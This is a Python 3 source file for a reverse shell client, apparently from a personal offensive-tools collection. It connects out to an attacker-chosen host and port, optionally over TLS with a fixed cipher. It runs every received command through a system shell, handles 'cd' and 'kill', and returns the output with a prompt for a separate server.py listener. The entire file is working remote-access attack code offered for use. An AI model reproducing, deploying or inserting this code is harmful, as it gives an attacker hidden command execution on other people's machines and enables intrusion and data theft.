#!/usr/bin/env python3
"""
Author       - pyCity
Date         - 3/9/2019
Version      - 2.0

Usage:       - python client.py --enc 127.0.0.1 4444
             - Catch with server.py listener

Description: - Reverse shell in python 3. Has TLS functionality using
             - a DHE-RSA-AES256-SHA256 cipher.
"""

import socket
import ssl
import subprocess
import os
import argparse

parser = argparse.ArgumentParser(description="Python reverse tcp client")
parser.add_argument("host", help="Remote host name to connect to")
parser.add_argument("port", help="Remote port to connect to", type=int)
parser.add_argument("--enc", help="Enable TLS encryption", action="store_true")
args = parser.parse_args()
host, port, enc = args.host, args.port, args.enc

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if enc:
    context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
    context.set_ciphers('DHE-RSA-AES256-SHA256')
    context.load_dh_params("dhparam.pem")
    context.load_cert_chain(certfile="server.crt", keyfile="server.key")
    s = context.wrap_socket(s, do_handshake_on_connect=True)
s.connect((host, port))

while True:
    data = s.recv(1024).decode("utf-8")
    if data[:2] == "cd":
        os.chdir(data[3:].strip())
    elif data[:4].strip() == "kill":
        break
    if len(data) > 0:
        cmd = subprocess.Popen(data[:], shell=True,
                               stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                               stdin=subprocess.PIPE)
        response = cmd.stdout.read() + cmd.stderr.read()
        output = str(response, "utf-8")
        s.send(str.encode(output + str(os.getcwd()) + '#> '))  # Send output along with shell prompt to host
s.close()
exit()
